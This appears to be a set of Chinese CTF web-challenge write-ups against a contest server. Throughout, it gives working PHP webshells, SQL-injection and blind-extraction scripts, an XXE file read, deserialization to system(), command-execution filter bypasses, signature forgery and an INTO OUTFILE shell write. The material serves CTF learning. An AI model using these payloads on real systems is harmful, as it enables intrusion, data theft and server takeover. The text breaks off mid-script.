六月赛
WEB
ezupload
这道题可以看出是一道文件上传,有意识的就可以联想到通常做的文件上传题目是不能上传PHP文件的,这道试试
很明显只能上传图片,那就按正常思路去搞了,
我刚开始将一句话木马php文件后缀改为图片,但是无法上传成功的。
所以猜测这道题是识别图片内容,而不仅仅是改后缀名,只有图片内容是图片才能上传成功。这里随便上传一张图片试试
这是上传成功的结果,这里我上传的是.jpg图片,成功后却是peg,又上传其他的也是peg。这里对路径很好奇,感觉路径中是一串加密字符串,搞了搞之后没发现什么,看来是多想了,,
很好奇打开了路径内容发现都是别人上传的文件,过滤的方法也很多种,可以尝试尝试别人的。但这里我已经找到方法了,既然是识别图片内容,将图片后缀改为php也没关系,然后我们将一句话木马放进图片中,然后在过滤掉peg后缀,将后缀名改为.peg.php
抓包可以看到已经上传了含有一句话木马的图片,而且后缀也是php
上传成功
打开菜刀
flag已经出来了。。
研究生的秘密
题目提示缺少参数,由此可以想到参数问题
点击列表时毫无反应但是可以看到http://101.71.29.5:10002/index.php?title=Mysql教程
于是便可以从参数title入手,当参数为正常的字母数字汉字时,都可以返回正确结果
若输入某个宽字节字符,例如%df
则会报错
非关系型数据库%df’报错
传入title[
也就是返回参数不等于1的第一个文档
其实这里不给参数赋值也能返回flag,,
MongoDB
mongoDB中findOne()的用法介绍
定义:db.collection.findOne(query, projection)
返回一个文档满足指定的查询条件。如果多个文档满足查询,该方法返回第一个文档根据自然秩序反映了磁盘上文件的顺序。在限制集合,自然秩序是一样的插入顺序。如果没有文档满足查询,方法返回null。
find【查询条件ne表示不相等
mongodb条件操作符,"lte", "gte", "$ne"就是全部的比较操作符,对应于"<", "<=", ">", ">=","!="。
mynote
这题我不会,只能根据大佬的去复现
这题注册后发现没有什么用,就一个文件上传值得重视
上传图片后发现仍没什么用,找不到路径
点空报错后,爆出了路径,仍没什么用处
御剑扫描后台后发现
robots.txt文件
http://101.71.29.5:10000/robots.txt
同时
http://101.71.29.5:10000/upload/
到这里看到了FLAG,flag这么容易出来了吗?
提交后发现并不对,仔细看flag的意思
这是一个假flag,所以还要继续找
回头看看,
上传的图片在picture中可以找到,还是从这点入手看看吧
,burp抓包
picture中应该是base64加密,解码后
YToxOntpOjA7czoxNjoiMzYwd2FsbHBhcGVyLmpwZyI7fQ%3D%3D
解码: a:1:{i:0;s:16:"360wallpaper.jpg";}
Ü
picture中存在反序列化漏洞
已知/flag.php,抓包把a:1:{i:0;s:16:"360wallpaper.jpg";}改成a:1:{i:0;s:14:”../../flag.php”;},然后base64编码就可以读出flag.php
a:1:{i:0;s:14:"../../flag.php";}
base64编码:YToxOntpOjA7czoxNDoiLi4vLi4vZmxhZy5waHAiO30=
PD9waHAKCiRmbGFnID0gImZsYWd7TjRtZV9zUGFjNF9Jc19JbnQzcjNzdDFuZ30iOwplY2hvICJmbGFne1RoaXNfMVNfQV9GNGtlX2YxYUd9IjsK
base64解码:
<?php
$flag = "flag{N4me_sPac4_Is_Int3r3st1ng}";
echo "flag{This_1S_A_F4ke_f1aG}";
flag{N4me_sPac4_Is_Int3r3st1ng}
大佬的第二种解法
反序列化传入一个错的序列化字符串报出上传文件的路径,利用文件上传漏洞上传php文件获取webshell,同样获取flag
反序列化传入一个错的序列化字符串报出上传文件的路径
比如:a:1:{i:0;s:16:"360wallpaper.jpg";}这是存在的序列化字符串,现在改为错的
a:1:{i:0;s:5:"1.jpg";},抓包base64编码执行后,不存在该1.jpg图片,所以会报错
http://101.71.29.5:10000//upload/3dc5ff6b339c9f94c718b97b661c3afe/
接下来上传一句话木马获取webshell
直接上传php文件不行,内容为图片就行,后缀名可以为php,因此需要上传一个包含php一句话木马的图片后缀名改为php就行了
然后获取webshell,flag就出来了
九月赛
web
神奇的CMS
这题进去后看到的是一个框架,但需要登录密码进后台
直接用burp弱密码爆破进后台
admin
admin123
进去之后发现两行字体
一行压缩包,一行提示flag在/tmp下,很明显这是出题人的提示
接着看其他功能,只有一个添加图片的地方
与上面两行很相似
下载压缩包后,发现是代码,接着就是代码审计
查看图片位置
public function actionShow(){
$template = '<h1>图片内容为:</h1>图片ID:{cms:id}<br>图片名称:{cms:name}<br>图片地址:{cms:pic}';
if (isset($_GET['id'])) {
$model = new Content();
$res = $model->find()->where(['id' =>intval($_GET['id'])])->one();
$template = str_replace("{cms:id}",$res->id,$template);
$template = str_replace("{cms:name}",$res->name,$template);
$template = str_replace("{cms:pic}",$res->url,$template);
$template = $this->parseIf($template);
echo $template;
}else{
return json_encode(['error'=>'id error!']);
}
}
跟进函数parseIf
参考文章
https://www.anquanke.com/post/id/153402
然后我们添加图片为
名字 name (任意)
地址 {if:1)$GLOBALS['_G'.'ET'][sky]($GLOBALS['_G'.'ET'][cool]);die();//}{end if}
还不太明白这个,先留坑
上传之后显示错误,但是注意到url上id=204,利用上面的代码注入
ls命令执行后可见上面所有文件,这时想到上面提示的flag 在/tmp/里
http://101.71.29.5:10000/web/index.php?r=content%2Fshow&id=204&sky=system&cool=cat%20/tmp/flag
babybypass
这题拿到后见很熟悉就用paylaod直接做,结果做不出来,原来跟之前的不一样,$也被过滤了,使用php不用字母数字下划线写shell的方法不管用了,不过有大佬用其他方法做出来了
巧妙地利用linux下的通配符
参考大佬的极限利用https://www.aqbeta.com/data/201808/153380340813497.html?tdsourcetag=s_pctim_aiomsg
这里也是很有技巧的点,在Linux系统中,是支持正则的,某些你忘记某个字符情况下,你可以使用? * %等字符来替代,当然这里想要执行命令,需要极限的利用这个方法,经过测试:
linunx下
/???/??? => /bin/cat
问题来了,知道通配符能找到目录,但怎么执行命令取回结果呢?要想得到读文件或者命令执行的内容,我们需要一个用来输出的东西,但是我们又没有常规的函数,经过了一段时间的思考,想到了<?=$_?>,这个方式。
<?= 就相当于php中的echo , 在linux下, 例如echo ls
执行ls命令
大家可能用过这个方法,但是说真的不是很容易想起来,而且关键的是这个方式在php里默认是开着的。
我们找到了这个关键的正则和命令执行方法,我们先来读一下源码
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
但是发现超出长度了,然后我们继续缩短长度,想到了用*来匹配文件夹下的所有文件:
$_=`/???/???%20/???/???/????/*`;?><?=$_?>
但是没有$和_
?> 是为了闭合前面的code然后去执行后面的php语句
改进为
?><?=`/???/???%20/???/???/????/*`?>
得到源码
发现关键点
function getFlag(){
$flag = file_get_contents('/flag');
echo $flag;
}
我们知道了flag的文件位置在根目录,所以直接利用通配符去读flag文件就好
?><?=`/???/???%20/????`;?>
http://101.71.29.5:10001/?code=?><?=
/???/???%20/????
;?>
十月
这次的web题都真坑,看了大佬的writeup还是不会,无奈看了**的writeup
web1 CoolCms
提示:xxx,你觉得有问题的地方都试试呀
看到题后我以为有xss和sql注入,试了下xss,可以,但没卵用,sql注入倒是有很大用处,后来发现也可以xml注入,进行xxe攻击获取flag
1.
尝试union select注入
发现过滤了, or,unionselect等多个关键词
构造:
?id=-1' union%0bselect * from (select 1)x join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)y join (select 3)k join (select 3)l—1
获取flag目录
2.利用xxe
简单xml尝试,也是题目提示
然后利用file协议进行xml读取文件
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
能够读到passwd内容
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/fff123aggg" parse="text"/>
</root>
web2 easy audit
这题打开不知道干啥的,但是查源代码有提示
给了个func1参数,试了下func1=1,2,3,,,,
除了前面数字变之外其他没什么用,然后试了下func1=phpinfo
结果可以,很明显参数是可以执行函数的
参考文章https://www.jb51.net/article/42890.htm
输入参数 func1=get_defined_functions ,全局搜索一下flag,成功得到了了这个函数jam_source_ctf_flag ,调用一下这个函数,成功拿到flag.php的源码,于是开始审计
<?php
//include 'real_flag.php';
function jam_source_ctf_flag(){ echofile_get_contents('flag.php'); }
class jam_flag{ public $a; function __construct(){ $this->a = isset($_GET['a'])?$_GET['a']:'123'; }
function gen_str($m=6){ $str = ''; $str_list ='abcdefghijklmnopqrstuvwxyz'; for($i=0;$i<$m;$i++){ $str .=$str_list[rand(0,strlen($str_list)-1)]; } return $str; } function GiveYouTheFlag(){include 'real_flag.php'; $secret = $this->gen_str(); if($secret === $this->a){echo $real_flag;//echo $flag } } function __invoke(){ GiveYouTheFlag(); } }echo rand().''; $_flag = new jam_flag;
if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){ include'real_flag.php'; $_flag->GiveYouTheFlag(); }
?>
看到中间有一大段随机数的代码(实际上没什什么用。。),只要我们满足this->a 的条件就可以出flag,但实际上我们可以用get_defined_vars这个函数(因为访问real_flag.php可以看到提示$flag='xxxx',说明可以通过查看所有变量量的方法获取flag),再满足一下post的条件调用giveyoutheflag(为了了将flag给include进来)
最后payload
func1=get_defined_vars post:flag=I want the flag
web3 shop
这题最坑,要大量的代码审计,最后运行的python脚本还必须3.6以上才行,绕了好多弯
给了源码,是用python框架写的
注册账号后
初识给了300积分
但可以看到flag卖888,不可能买到
代码审计
关键代码
@login_required
def payOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
form = {
'order_id': o.id,
'buyer_id': o.user.id,
'good_id': o.good.id,
'buyer_point': o.user.profile.point,
'good_price': o.good.price,
'order_create_time': o.create_time.timestamp()
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
#print(sign)
return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})
@login_required
def cleanCanceledOrder(request):
o = Order.objects.filter(user=request.user, status=Order.CANCELED).delete()
return redirect('shop:myOrder')
@csrf_exempt
def checkPayment(request):
# print(request.body)
ret = {'result': '未知错误', 'status': 'danger'}
sign = request.GET.get('signature', '')
if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
o = get_object_or_404(Order, id=request.POST.get('order_id'))
g = get_object_or_404(Good, id=request.POST.get('good_id'))
u = get_object_or_404(User, id=request.POST.get('buyer_id'))
# 检查订单是否为待支付状态
if o.status != Order.ONGOING:
ret['result'] = f'订单 {o.id} 状态异常,可能已完成或已取消'
# 检查商品是否可购买
elif g.available != True or g.amount <= 0:
ret['result'] = f'商品 {g.id} 暂时不可购买,可能库存不足'
# 检查用户可用积分是否足够
elif u.profile.point < g.price:
ret['result'] = f'用户 {u.username} 可用积分不足,无法完成支付'
else:
if u.is_staff != True:
u.profile.point -= g.price
u.save()
g.amount -= 1
if g.name == 'FLAG':
o.message = REAL_FLAG
else:
o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}<br>(购买“FLAG”才能获得真正的 flag)'
if g.amount <= randint(0, 100):
g.amount += randint(100, 200)
g.save()
o.status = Order.FINISHED
o.save()
ret['result'] = f'订单 {o.id} 支付成功!'
ret['status'] = 'success'
else:
ret['result'] = '签名不正确,数据可能被篡改!'
return render(request, 'payment/result.html', ret)
购买的信息都是有上面那些id参数传进去的
通过抓包查看这些参数
可以看到这些参数就是上面购买的信息id
查看源码的数据库信息,可以看到管理员admin 的积分有3000,而普通用户只有300,直接登管理员进后台很明显不可取,根据源码我们可以利用这种逻辑漏洞修改为管理员id让管理员帮我们买,通过表可以查出管理员id为16
直接修改buyer_id=16是不行的,
这就是返回的数据,因为他会对sign的MD5值进行校检,不对是不会成功的
sign = request.GET.get('signature', '')
if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
@login_required
def payOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
form = {
'order_id': o.id,
'buyer_id': o.user.id,
'good_id': o.good.id,
'buyer_point': o.user.profile.point,
'good_price': o.good.price,
'order_create_time': o.create_time.timestamp()
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
#print(sign)
return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})
from django.urls import reverse_lazy
LOGIN_REDIRECT_URL = reverse_lazy('shop:index')
LOGIN_URL = reverse_lazy('account:login')
with open('secret.key', 'rb') as f:
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = f.read()
REAL_FLAG = ''
获取sign的关键代码,上面已经贴出
这里的RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE其实是读取了sercet.key文件,查看文件
所以key是已知的
根据这些来编写脚本得出admin的sign值
from hashlib import md5
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = open('e://secret.key','rb').read()
print(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE)
form = {
'order_id': '144' ,
'buyer_id': '16' ,
'good_id': '38' ,
'buyer_point': '300' ,
'good_price': '888' ,
'order_create_time': '1541695334.352802'
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
sign = md5(str2sign).hexdigest()
print(sign)
根据购买信息修改id,把buyer_id改为管理员的--16
获得sign值
然后抓包修改sign,用admin去购买
然后会发现
web4 手速要快
进去之后
是文件上传
但是不能上传php文件,但上传1.abc,1.cbc这种文件都可以,可知是利用黑名单将后缀为php,PHP等文件后缀给过滤掉了
因此将附带一句话木马的文件改为以.php.xxx的形式,发现可以成功上传,因为apache的判定机制为从右到左,若该文件后缀无效会想左判定
,,成功绕过
爆出文件路径,菜刀获取shell
十一月
Web
1.手速要快
不说了,十月份的原题,就在上面
2.image_up
题目打开是个登录页面,注意
http://101.71.29.5:10043/index.php?page=login
所以尝试php伪协议读取文件
http://101.71.29.5:10043/index.php?page=php://filter/read=convert.base64-encode/resource=login
base64解密
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Login Form</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<?php
if(isset($_POST['username'])&&isset($_POST['password'])){
header("Location: index.php?page=upload");
exit();
}
?>
<div class="form">
<div class="thumbnail"><img src="hat.svg"/></div>
<form class="login-form" action="" method="post">
<input type="text" name="username" placeholder="username"/>
<input type="password" name="password" placeholder="password"/>
<button type="submit">login</button>
</form>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src="js/index.js"></script>
</body>
</html>
得login源码,看关键点,如果账号密码只要存在就会跳转到upload页面,说明随意输都行了
进去之后是文件上传页面,继续读文件源码
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload
<!DOCTYPE html>
<html lang="en" >
<head>
<meta charset="UTF-8">
<title>Upload Form</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Roboto:400,100,300,500,700,900'>
<link rel='stylesheet' href='https://fonts.googleapis.com/css?family=Montserrat:400,700'>
<link rel='stylesheet' href='https://maxcdn.bootstrapcdn.com/font-awesome/4.3.0/css/font-awesome.min.css'>
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<?php
$error = "";
$exts = array("jpg","png","gif","jpeg");
if(!empty($_FILES["image"]))
{
$temp = explode(".", $_FILES["image"]["name"]);
$extension = end($temp);
if((@$_upfileS["image"]["size"] < 102400))
{
if(in_array($extension,$exts)){
$path = "uploads/".md5($temp[0].time()).".".$extension;
move_uploaded_file($_FILES["image"]["tmp_name"], $path);
$error = "上传成功!";
}
else{
$error = "上传失败!;
}
}else{
$error = "文件过大,上传失败!";
}
}
?>
<div class="form">
<div class="thumbnail"><img src="hat.svg"/></div>
<form class="login-form" action="" method="post" enctype="multipart/form-data">
<input type="file" name="image" placeholder="image"/>
<button type="submit">login</button>
</form>
<?php echo $error;?>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js'></script>
<script src="js/index.js"></script>
</body>
</html>
看到php源码后,第一想的就是上传带有一句话木马的图片
但碰到的问题就是
$path = "uploads/".md5($temp[0].time()).".".$extension;
需要提前预测time()
看了大佬的wp,发现多线程爆破没有用,不是简单地time预测
提示:在这时间统一的世界里,上传图片试试吧
时区问题?尝试time()+8*3600
随机可以预测到图片,但保存图片发现并没有成功,猜想是否强行拼接了.php,于是读index
<?php
if(isset($_GET['page'])){
if(!stristr($_GET['page'],"..")){
$page = $_GET['page'].".php";
include($page);
}else{
header("Location: index.php?page=login");
}
}else{
header("Location: index.php?page=login");
}
发现强行拼接了.php,
大佬的想法
zip://
直接zip协议即可
创建一个MUMA.php的文件,内容为
<?php
@eval($_POST[MUMA]);
然后压缩为MUMA.zip,改后缀名为MUMA.jpg
然后用脚本上传文件,预测出文件名
import time
import requests
import hashlib
url="http://101.71.29.5:10007/"
def md5(st):
m =hashlib.md5()
m.update(st.encode('utf-8'))
return m.hexdigest()
files = {
"image":("avatar.jpg",open("MUMA.jpg","rb"))
}
t = int(time.time()+8*3600)
requests.post(url=url+"index.php?page=upload", files=files)
for i in range(t-200,t+200):
path = "uploads/"+md5("avatar"+str(i))+".jpg"
status = requests.get(url=url+path).status_code
if status == 200:
print (path)
break
uploads/893171c6e8f72075f9889550b987db87.jpg
爆出文件名后,去测试一下,利用zip://协议读取一下phpinfo
发现读取成功
菜刀getshell
3.ezsql
根据题目提示可知是一道sql注入题
注册后登陆进去可看到信息,根据以往判断应该可以对id进行注入然后回显内容
不过这题在尝试之后发现过滤了很多敏感词
最后发现load_file可以在这用,就可以用它来读取文件内容了
可以尝试利用load_file读取/var/www/html/index.php
因为/被过滤了所以利用十六进制编码绕过
然后会发现这句话已经成功传进去了,只不过返回值是0,所以会看到id=1的admin信息,如果读取内容的话读取到的第一个字符应该是<,所以为3c,然后后面加通配符%去依次读取后面内容
可以看到只有标签,没有内容,应该是已经读取到代码所以无回显内容,写脚本依次读取代码
福脚本:
import requests
import string
import binascii
hex = lambda s: binascii.hexlify(s)
char = '0123456789ABCDEF'
filename = '/var/www/html/index.php'
c= ''
#print(hex(filename))
url = 'http://101.71.29.5:10015/user/user.php?id=2-if(hex(load_file(0x%s))like(0x%s),1,2)'
for _ in xrange(10000):
for i in char:
payload = c+ i + '%'
_url = url % (hex(filename), hex(payload))
r=requests.get(_url,cookies={'PHPSESSID':'3689a2913550ce0558362e9eb6541734'})
if '2018' in r.content:
print '.....' + payload
c = c+ i
break
print c
16进制转码后,截取部分内容,看PHP代码会发现有config.php
<?php
require_once('config/sys_config.php');
require_once('header.php');
if(isset($_COOKIE['CONFIG'])){
$config = $_COOKIE['CONFIG'];
require_once('config/config.php');
}
?>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://cdn.static.runoob.com/libs/bootstrap/3.3.7/css/bootstrap.min.css">
<style>
.jumbotron{
background:url(favicon/a.png);
}
</style>
</head>
<body>
根据php代码继续读config.php文件看看有什么
然后用上面脚本读取/var/www/html/config.php
<?php
$config = unserialize(base64_decode($config));
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
class Config{
private $config;
private $path;
public $filter;
public function __construct($config=""){
$this->config = $config;
echo 123;
}
public function getConfig(){
if($this->config == ""){
$config = isset($_POST['config'])?$_POST['config']:"";
}
}
public function SetFilter($value){
// echo $value;
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
}
$this->filter = array();
}else{
return false;
}
return true;
}
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
}
发现是一波反序列化的操作,注意到函数
public function __get($key){
//var_dump($key);
$this->SetFilter($key);
die("");
}
以及
if(isset($_GET['p'])){
$p=$_GET['p'];
$config->$p;
}
发现可控值,跟踪SetFilter
发现
$value=waf_exec($value);
var_dump($value);
if($this->filter){
foreach($this->filter as $filter){
$array = is_array($value)?array_map($filter,$value):call_user_func($filter,$value);
大概是这么个意思吧
index.php -->cookie[CONFIG] -->config.php-->unserialize(base64_decode($config));
然后如果存在这个(class config)类,则会接受参数p
利用上面反序列化漏洞,于是构造
<?php
class Config
{
public $filter='';
function __construct()
{
// $this->mdzz = 'phpinfo();';
}
function __destruct()
{
// echo $this->mdzz;
}
}
$m = new Config();
$m->filter = array('system');
echo base64_encode(serialize($m));
?>
然后在cookie中添加
CONFIG:Tzo2OiJDb25maWciOjE6e3M6NjoiZmlsdGVyIjthOjE6e2k6MDtzOjY6InN5c3RlbSI7fX0=
可以看到目录名已经显示出来了,要列出目录下所有文件才能读到flag,然后/和空格被过滤,这里使用$IFS进行绕过空格
看到flag.php,读取内容,这里通配符也被过滤,试了官方的没弄出来,用一位师傅的grep做出来了
4.interesting web
打开是一个上传的界面,界面显示只有admin可以上传压缩包,普通用户只能上传jpg图片,从这可以看出这题并不是考上传jpg绕过然后getshell,应该是先拿到管理员权限,再看一下会有找回密码功能,而找回密码需要token值,我们试一下找回密码
在响应头会发现seesion值,
eyJsb2dpbiI6dHJ1ZSwidG9rZW4iOnsiIGIiOiJNR1F6TldJek5qTTNNV1V5WkdFelpUaGpaalJtWTJWaFlUSmlZemMyWTJZPSJ9LCJ1c2VybmFtZSI6ImFkbWluIn0.DuDkbQ.iWgcB_Axe1CwTfadaH5e25rBNr8
前面第一串是base64
解密后
{"login":true,"token":{" b":"MGQzNWIzNjM3MWUyZGEzZThjZjRmY2VhYTJiYzc2Y2Y="},"username":"admin"}
会发现token值,然后解密token值,就可以利用token修改管理员密码了,至于为什么会发这发现token,熟悉flask框架的人应该知道python flask框架中的token会显示在浏览器端,所以可以利用这一点修改admin密码,获得管理员权限
然后这时我们可以上传tar包,为什么要获得权限上传tar包呢,因为这里可以利用软连接,构造
ln -s /etc/passwd 223.jpg
tar cvfp 1.tar 223.jpg
上传解压成功
然后
curl 101.71.29.5:10010/download/223.jpg
5.write a shell
这题打开也是一个测试平台,有注册登录编辑头像功能,首先注册测试了一下是否存在注入
发现'被转义,字符也有替换,应该是有注入的机会
在用户信息页面存在注入,经测试发现把一些关键字符替换成@了,但ascii mid load_file if这些可以用
可以看到判断语句已经传进去了,返回值为1,接下来可以利用这个方法去读取源代码
利用load_file读取/var/www/html/user/user.php
十六进制编码绕过,看看能不能读到
?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),1,1))
先了解一下mid函数,MID() 函数用于从文本字段中提取字符。
有三个参数:
column_name 必需。要提取字符的字段。
start 必需。规定开始位置(起始值是 1)。
length 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本
所以上面代码就是利用load_file去读取内容,然后从第一个字符读取,成功后返回一个ascii值。
试一下,
可以看到id返回60,然后我们去读第二个字符
返回63,第三个返回112。然后ascii对应的字符是
说明已经读到php代码了,一一读很麻烦,所以上脚本读取
自己写的脚本,菜鸟,勿喷,,
import requests
from bs4 import BeautifulSoup
import re
for i in range(1,1000):
try:
url = 'http://101.71.29.5:10011/user/user.php?id=ascii(mid(load_file(0x2f7661722f7777772f68746d6c2f757365722f757365722e706870),'+str(i)+',1))'
r = requests.Session()
q = r.get(url=url,cookies={ 'PHPSESSID':'l7b9sqs506vjqkioep3qu1rgt0'})
html = q.text
html1 = BeautifulSoup(html,'html.parser')
#print (q.text)
html2 =html1.find_all('h1')
num = re.sub(r'user_id:', "", html2[0].text)
num1 = int(num)
print (chr(num1),end='')
except:
continue
跑出来user.php
<?php
include_once('../bwvs_config/sys_config.php');
if (isset($_SESSION['user_name'])) {
include_once('../header.php');
if (!isset($SESSION['user_id'])) {
$sql = "SELECT * FROM dwvs_user_message WHERE user_name ="."'{$_SESSION['user_name']}'";
$data = mysqli_query($connect,$sql) or die('Mysql Error!!');
$result = mysqli_fetch_array($data);
$_SESSION['user_id'] = $result['user_id'];
}
$html_avatar = htmlspecialchars($_SESSION['user_favicon']);
if(isset($_GET['id'])){
$id=waf($_GET['id']);
$sql = "SELECT * FROM dwvs_user_message WHERE user_id =".$id;
$data = mysqli_multi_query($connect,$sql) or die();
do{
if($result = mysqli_store_result($connect)){
$row = mysqli_fetch_row($result);
echo '<h1>user_id:'.$row[0]."</h1><br><h2>user_name:".$row[1]."</h2><br><h3>¨�����".$row[4]."</h3>";
}
mysqli_free_result($result);
}while(mysqli_next_result($connect));
die();
}
mysqli_close($connect);
?>
<div class="row">
<div style="float:left;"
读出源代码后发现没有什么可注入的点,注意到在传入id的时候,要进行waf的转化,像一些敏感字符可能被转为@,后来经测试发现可以读取用户权限
查看用户权限sql语句:
select GRANTEE,PRIVILEGE_TYPE,3,4,IS_GRANTABLE from information_schema.USER_PRIVILEGES
然后经msql char()
CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78, 84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82, 65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83)
Paylpoad:
id= 8;set |s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 71, 82, 65, 78, 84, 69, 69, 44, 80, 82, 73, 86, 73, 76, 69, 71, 69, 95, 84, 89, 80, 69, 44, 51, 44, 52, 44, 73, 83, 95, 71, 82, 65, 78, 84, 65, 66, 76, 69, 32, 102, 114, 111, 109, 32, 105, 110, 102, 111, 114, 109, 97, 116, 105, 111, 110, 95, 115, 99, 104, 101, 109, 97, 46, 85, 83, 69, 82, 95, 80, 82, 73, 86, 73, 76, 69, 71, 69, 83));PREPARE s1 FROM |s;EXECUTE s1;
可看到该用户存在读写权限
查看文件读写路径
sql语句
show variables like '%secure_file_priv%'
Payload:
id=8;set |s=concat(CHAR(115, 104, 111, 119, 32, 118, 97, 114, 105, 97, 98, 108, 101, 115, 32, 108, 105, 107, 101, 32, 32, 39, 37, 115, 101, 99, 117, 114, 101, 95, 102, 105, 108, 101, 95, 112, 114, 105, 118, 37, 39));PREPARE s1 FROM |s;EXECUTE s1;
然后重点是,我们找一个可写的目录,然后写一个一句话shell上传,然后菜刀进后台
查看框架,我们看到的功能还有一个就是上传头像,而上传头像的目录我们又知道,/favicon/*.jpg,所以路径就是/var/www/html/favicon/
,然后传进去带有一句话的1.php,
sql语句:
select '<?php eval($_POST[x]);?>' into outfile '/var/www/html/favicon/1.php'
payload:
id=8;set |s=concat(CHAR(115, 101, 108, 101, 99, 116, 32, 39, 60, 63, 112, 104, 112, 32, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 120, 93, 41, 59, 63, 62, 39, 32, 105, 110, 116, 111, 32, 111, 117, 116, 102, 105, 108, 101, 32, 39, 47, 118, 97, 114, 47, 119, 119, 119, 47, 104, 116, 109, 108, 47, 102, 97, 118, 105, 99, 111, 110, 47, 49, 49, 46, 112, 104, 112, 39));PREPARE s1 FROM |s;EXECUTE s1;
然后查看http://101.71.29.5:10011/favicon/1.php
传进去后,上菜刀连接后台
6.好黑的黑名单
打开浏览器,访问目标主机。如下图
根据提示可知,题目有黑名单,发现吃面去吧
是一个链接,点击如下图
http://101.71.29.5:10008/show.php?id=1
可以看到传参的地方。初步测试可知页面一共有三种回显结果
1.山西油泼面的价钱为20 或郑州或,,
2.想让我下面给你吃?
3.这么坏?想让我下面给你吃吗?XD
分析
回显1为正常页面,
回显2为根据传入的id查询结果为空的回显,
回显3则是被黑名单检测到的回显。
测试什么类型的注入
初步测试可知空格,单引号,双引号都被过滤。空格可以使用%0a
代替。测试%0aand%0a1
,然后测试%0aand%0a0
1返回正确结果,0返回空
得出初步结论此处存在整型注入。
构造payload
逻辑运算符都被过滤并且like和regexp都无法使用的情况下,就需要一个小技巧between and
,用between and
来代替逻辑运算符。betweenand
的基本用法百度可知。如果要应用到盲注中要注意一些细节
用法:
Payload由上可构造paylaod如下
?id=2 and (select (selectdatabase()) between 'a' and 'z')
但是黑名单还过滤了单引号,索性,betweenand
支持16进制,所以将字符改为16进制即可如下
?id=2%0aand%0a(select%0a(select%0adatabase()%0a)%0abetween%0a0x61%0aand%0a0x7a
根据payload编写爆破脚本,这里有三个脚本,不过思路都差不多
import requests
import binascii
import string
test = ',0123456789abcdefghijklmnopqrstuvwxyz{|}~'
res = ''
flag = ''
for num in range(1,500):
for x in test:
bet_1 = bytes(flag + x, encoding='utf-8')
bet_2 = bytes(flag + '_',encoding='utf-8')
#数据库 web
#payload = "?id=2%%0aand%%0a(select%%0a(select%%0adatabase()%%0a)%%0abetween%%0a0x%s%%0aand%%0a0x%s)"%(binascii.b2a_hex(bet_1).decode(),binascii.b2a_hex(bet_2).decode())
#爆表 admin , falggg, menu
